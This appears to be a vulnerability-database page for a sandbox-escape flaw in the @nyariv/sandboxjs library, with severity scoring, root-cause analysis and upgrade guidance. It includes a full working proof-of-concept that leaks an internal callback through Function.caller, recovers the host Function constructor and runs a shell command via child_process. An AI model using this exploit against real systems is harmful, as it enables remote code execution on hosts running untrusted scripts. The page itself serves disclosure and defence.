Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Escape runs from within an untrusted script with no host auth (PR:N), is low-complexity given the public PoC (AC:L), and crosses the sandbox boundary into the host (S:C) for full RCE (C/I/A:H).
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
Sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript.
Details
In executorUtils.ts createFunction() constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe:
function f(){ return f.caller }That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal LispType.Call op, which is registered in call.ts. The leaked callback accepts a params object from the attacker and uses its fields without any authentication checks. if you looked at those branches call.ts:47, call.ts:70, call.ts:149. This means the attacker controls obj.context, obj.prop, obj.get, context.evals.get and a. This can lead to direct invocation of an internal primitive with forged operands
PoC
const sandb = require('@nyariv/sandboxjs').default;
const sand = new sandb();
const payload = `
const callOp = (function fn() { return fn.caller; })();
function makeContext(capture = () => {}) {
return { ctx: { options: 0 }, evals: { get: capture } };
}
function leakStatic(obj, prop) {
let leaked;
callOp({
done() {},
a() {},
b: [],
obj: { context: obj, prop, get() {} },
context: makeContext((fn) => (leaked = fn, () => 1))
});
return leaked;
}
function callDirect(fn, args) {
let value;
callOp({
done(_, result) { value = result; },
a() {},
b: args,
obj: fn,
context: makeContext()
});
return value;
}
callDirect(leakStatic(Object, 'defineProperty'), [
leakStatic,
'call',
callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [
callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),
'constructor'
])
]);
let hostFn;
callOp({
done(_, result) { hostFn = result; },
a: leakStatic,
b: [],
obj: {
context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()',
get() {}
},
context: makeContext()
});
return hostFn();
`;
console.log(sand.compile(payload)().run());Impact
_Sandbox escape leads to RCE_
AnalysisAI
Sandbox escape leading to remote code execution in @nyariv/sandboxjs (a JavaScript-in-JavaScript sandbox library) versions <= 0.9.5 allows sandboxed code to break out and run arbitrary host JavaScript. By reading Function.caller on a sandbox-defined function, attacker-controlled code recovers the privileged internal LispType.Call op and invokes it with forged operands to leak blocked host statics, rebuild the real Function constructor, and execute host code (e.g. child_process.execSync). CVSS is 10.0 and a working proof-of-concept is published in the GHSA advisory, but this is no public exploit identified as actively exploited - EPSS is only 0.05% (15th percentile), consistent with a newly disclosed library bug rather than mass exploitation.
Technical ContextAI
SandboxJS compiles and evaluates untrusted JavaScript inside a host Node.js/browser process using an internal Lisp-like op interpreter; security depends on preventing sandboxed code from reaching real host constructors and blocked statics. The root cause (CWE-94, Improper Control of Generation of Code / code injection) is that createFunction() in src/executor/executorUtils.ts builds ordinary host JS functions, so in the CommonJS build sandboxed code can read the reflective caller/callee/arguments properties via the property-access op in src/executor/ops/prop.ts. Reading Function.caller leaks the internal LispType.Call callback registered in src/executor/ops/call.ts, which trusts a caller-supplied params object (obj.context, obj.prop, obj.get, context.evals.get, and a) without authenticating that those operands originated from the executor, enabling direct invocation of an internal primitive with forged arguments. The affected package is identified as pkg:npm/@nyariv_sandboxjs (npm @nyariv/sandboxjs).
RemediationAI
Vendor-released patch: 0.9.6 - upgrade @nyariv/sandboxjs to 0.9.6 or later, which is the primary and recommended fix (commit 826865251232611ec94078bab5a18ec875dad4a5). The fix adds an explicit block in src/executor/ops/prop.ts that throws a SandboxAccessError when sandboxed code attempts to access the 'caller', 'callee', or 'arguments' properties, cutting off the leak of the internal call op. If you cannot upgrade immediately, treat any script passed to SandboxJS as fully trusted host code and stop feeding untrusted or user-supplied input into sand.compile()/run(); where feasible, run the sandbox in an out-of-process or OS-level isolate (separate worker/container with dropped privileges and no child_process access) so a JS-level escape does not grant host command execution - the trade-off is added latency and IPC complexity. Avoid relying on the CommonJS build for untrusted input, since that is the build path noted in the advisory. Track the vendor advisory at https://github.com/nyariv/SandboxJS/security/advisories/GHSA-g8f2-4f4f-5jqw and the patch commit at https://github.com/nyariv/SandboxJS/commit/826865251232611ec94078bab5a18ec875dad4a5.
Same weakness CWE-94 – Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-32968
GHSA-g8f2-4f4f-5jqw